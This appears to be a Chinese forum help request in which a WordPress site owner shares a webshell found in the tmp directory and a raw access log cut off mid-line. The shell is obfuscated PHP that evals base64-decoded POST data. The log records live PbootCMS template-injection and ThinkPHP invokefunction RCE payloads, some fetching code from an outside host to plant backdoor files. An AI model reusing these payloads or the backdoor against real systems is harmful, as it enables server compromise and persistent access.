帮忙看下站点访问日志和生成的木马文件

插件只有3个

自动提交百度收录插件

WP-PostViews
WP Code Highlight

你还不如直接截个图看看，

if($_SERVER["REQUEST_METHOD"] == "POST"){$_aA=chr(99).chr(104).chr(114);$_bB=$_aA(101).$_aA(118).$_aA(97).$_aA(108).$_aA(40).$_aA(98).$_aA(97).$_aA(115).$_aA(101).$_aA(54).$_aA(52).$_aA(95).$_aA(100).$_aA(101).$_aA(99).$_aA(111).$_aA(100).$_aA(101).$_aA(40).$_aA(36).$_aA(95).$_aA(80).$_aA(79).$_aA(83).$_aA(84).$_aA(91).$_aA(107).$_aA(97).$_aA(108).$_aA(105).$_aA(93).$_aA(41).$_aA(41).$_aA(59);$_fF=$_aA(99).$_aA(114).$_aA(101).$_aA(97).$_aA(116).$_aA(101).$_aA(95).$_aA(102).$_aA(117).$_aA(110).$_aA(99).$_aA(116).$_aA(105).$_aA(111).$_aA(110);$_=$_fF("",$_bB);@$_();}else{echo 'areYouKiddingMe';}?>tmp目录中的木马文件，

39.155.43.23 - - [04/Jul/2026:06:42:44 +0800] “GET /tag/%E4%BA%91%E6%98%BE%E7%A4%BA%E5%99%A8 HTTP/1.1” 200 5816 “https://www.im2828.com/45.html” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36”36.137.149.206 - - [04/Jul/2026:06:42:44 +0800] “GET /tag/%E7%BD%91%E5%90%A7%E5%BB%B6%E9%95%BF%E5%99%A8 HTTP/1.1” 200 5856 “https://www.im2828.com/45.html” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36”120.208.196.154 - - [04/Jul/2026:06:42:44 +0800] “GET /tag/%E4%BA%91%E6%98%BE%E7%A4%BA%E5%99%A8 HTTP/1.1” 200 5872 “https://www.im2828.com/45.html” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36”36.139.224.84 - - [04/Jul/2026:06:42:45 +0800] “GET /tag/%E4%BA%91%E6%98%BE%E7%A4%BA%E5%99%A8 HTTP/1.1” 200 5851 “https://www.im2828.com/45.html” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36”58.46.248.116 - - [04/Jul/2026:06:43:19 +0800] “GET /archives?538 HTTP/1.1” 200 75945 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)”154.36.174.23 - - [04/Jul/2026:06:43:22 +0800] “GET / HTTP/1.1” 301 162 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:22 +0800] “GET / HTTP/1.1” 301 162 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:22 +0800] “GET / HTTP/1.1” 200 11773 “http://www.im2828.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:23 +0800] “GET /?tag&tagstpl=news.html&tag={pbohome/Indexot:if((get/-/(//t))//(get/-/(//t1),get/-/(//t2)(get/-/(//t3))))}ok{/pbohome/Indexot:if}&t=file_put_contents&t1=bakConfig.php&t2=file_get_contents&t3=http://fa.dugou.icu/pb.txt HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:23 +0800] “GET /?tag&tagstpl=news.html&tag={pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22bakConfig.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCiAgICBpZigkX1NFUlZFUlsiUkVRVUVTVF9NRVRIT0QiXSA9PSAiUE9TVCIpewogICAgICAgICRfYUE9Y2hyKDk5KS5jaHIoMTA0KS5jaHIoMTE0KTsKICAgICAgICAkX2JCPSRfYUEoMTAxKS4kX2FBKDExOCkuJF9hQSg5NykuJF9hQSgxMDgpLiRfYUEoNDApLiRfYUEoOTgpLiRfYUEoOTcpLiRfYUEoMTE1KS4kX2FBKDEwMSkuJF9hQSg1NCkuJF9hQSg1MikuJF9hQSg5NSkuJF9hQSgxMDApLiRfYUEoMTAxKS4kX2FBKDk5KS4kX2FBKDExMSkuJF9hQSgxMDApLiRfYUEoMTAxKS4kX2FBKDQwKS4kX2FBKDM2KS4kX2FBKDk1KS4kX2FBKDgwKS4kX2FBKDc5KS4kX2FBKDgzKS4kX2FBKDg0KS4kX2FBKDkxKS4kX2FBKDEwNykuJF9hQSg5NykuJF9hQSgxMDgpLiRfYUEoMTA1KS4kX2FBKDkzKS4kX2FBKDQxKS4kX2FBKDQxKS4kX2FBKDU5KTsKICAgICAgICAkX2ZGPSRfYUEoOTkpLiRfYUEoMTE0KS4kX2FBKDEwMSkuJF9hQSg5NykuJF9hQSgxMTYpLiRfYUEoMTAxKS4kX2FBKDk1KS4kX2FBKDEwMikuJF9hQSgxMTcpLiRfYUEoMTEwKS4kX2FBKDk5KS4kX2FBKDExNikuJF9hQSgxMDUpLiRfYUEoMTExKS4kX2FBKDExMCk7CiAgICAgICAgJF89JF9mRigiIiwkX2JCKTtAJF8oKTsKICAgIH1lbHNlewogICAgICAgIGVjaG8gJ2FyZVlvdUtpZGRpbmdNZSc7CiAgICB9Cj8+\x22)))}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:23 +0800] “GET /?tag&tagstpl=news.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:24 +0800] “GET /?tag&tagstpl=about.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:24 +0800] “GET /?tag&tagstpl=case.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:24 +0800] “GET /?tag&tagstpl=caselist.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:24 +0800] “GET /?tag&tagstpl=job.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:25 +0800] “GET /?tag&tagstpl=joblist.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:25 +0800] “GET /?tag&tagstpl=login.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:25 +0800] “GET /?tag&tagstpl=tags.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:25 +0800] “GET /?tag&tagstpl=search.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:26 +0800] “GET /?tag&tagstpl=product.html&tag={pbohome/Indexot:if((URL[-6].URL[-5].URL[-6].URL[-4].URL[-3].URL[-2].URL[-1])())}ok{/pbohome/Indexot:if}&phinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:26 +0800] "GET /?tag&tagstpl=news.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:26 +0800] "GET /?tag&tagstpl=about.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:26 +0800] "GET /?tag&tagstpl=list.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:27 +0800] "GET /?tag&tagstpl=product.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:27 +0800] "GET /?tag&tagstpl=case.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:27 +0800] "GET /?tag&tagstpl=caselist.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:27 +0800] "GET /?tag&tagstpl=job.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:30 +0800] "GET /?tag&tagstpl=joblist.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:31 +0800] "GET /?tag&tagstpl=login.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:31 +0800] "GET /?tag&tagstpl=tags.html&tag={pbohome/Indexot:if((get/-/(//t))//())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1" 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:31 +0800] "GET /?tag&tagstpl=search.html&tag={pbohome/Indexot:if((get/-/(//t))/**/())}ok{/pbohome/Indexot:if}&t=phpinfo HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:31 +0800] “GET /?tag&tagstpl=news.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:32 +0800] “GET /?tag&tagstpl=about.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:32 +0800] “GET /?tag&tagstpl=list.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:32 +0800] “GET /?tag&tagstpl=product.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:32 +0800] “GET /?tag&tagstpl=case.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:32 +0800] “GET /?tag&tagstpl=caselist.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:33 +0800] “GET /?tag&tagstpl=job.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:33 +0800] “GET /?tag&tagstpl=joblist.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:33 +0800] “GET /?tag&tagstpl=login.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:33 +0800] “GET /?tag&tagstpl=tags.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:34 +0800] “GET /?tag&tagstpl=search.html&tag={pboot:if((\x22phpi\x22.\x22nfo\x22)()}ok{/pboot:if} HTTP/1.1” 301 5 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:36 +0800] “GET /?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=basic.bak.php&vars[1][1]= HTTP/1.1” 200 5706 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:36 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:36 +0800] “GET /?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=basic.bak.php&vars[1][1]= HTTP/1.1” 200 5690 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:37 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:37 +0800] “GET /?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=whoami.php&vars[1][1]= HTTP/1.1” 200 5305 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:37 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:38 +0800] “GET /?s=admin/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]=http://fa.dugou.icu/pb.txt&vars[1][1]=basic.bak.php HTTP/1.1” 200 5186 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:38 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:38 +0800] “GET /?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]=http://fa.dugou.icu/pb.txt&vars[1][1]=basic.bak.php HTTP/1.1” 200 5172 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:38 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:39 +0800] “GET /?s=index/\x5Cthink\x5CView/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1 HTTP/1.1” 200 5180 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:39 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:39 +0800] “GET /?s=index/\x5Cthink\x5Ctemplate\x5Cdriver\x5Cfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E HTTP/1.1” 200 5141 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:39 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:40 +0800] “GET /?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=%3C?php%20phpinfo();?%3E HTTP/1.1” 200 5110 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:40 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:40 +0800] “GET /?s=index/\x5Cthink\x5CRequest/input&filter[]=phpinfo&data=-1 HTTP/1.1” 200 5120 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:40 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:41 +0800] “GET /?s=/index/\x5Cthink\x5Crequest/input?data[]=phpinfo()&filter=assert HTTP/1.1” 200 5123 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:41 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:41 +0800] “GET /?s=admin/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1 HTTP/1.1” 200 5098 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:41 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:42 +0800] “GET /?s=index/\x5Cthink\x5CRequest/input&filter=phpinfo&data=1 HTTP/1.1” 200 5074 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:42 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:42 +0800] “GET /?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1” 200 5162 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:43 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:43 +0800] “GET /?s=index/\x5Cthink\x5CContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1” 200 5168 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:43 +0800] “GET /basic.bak.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:46 +0800] “POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 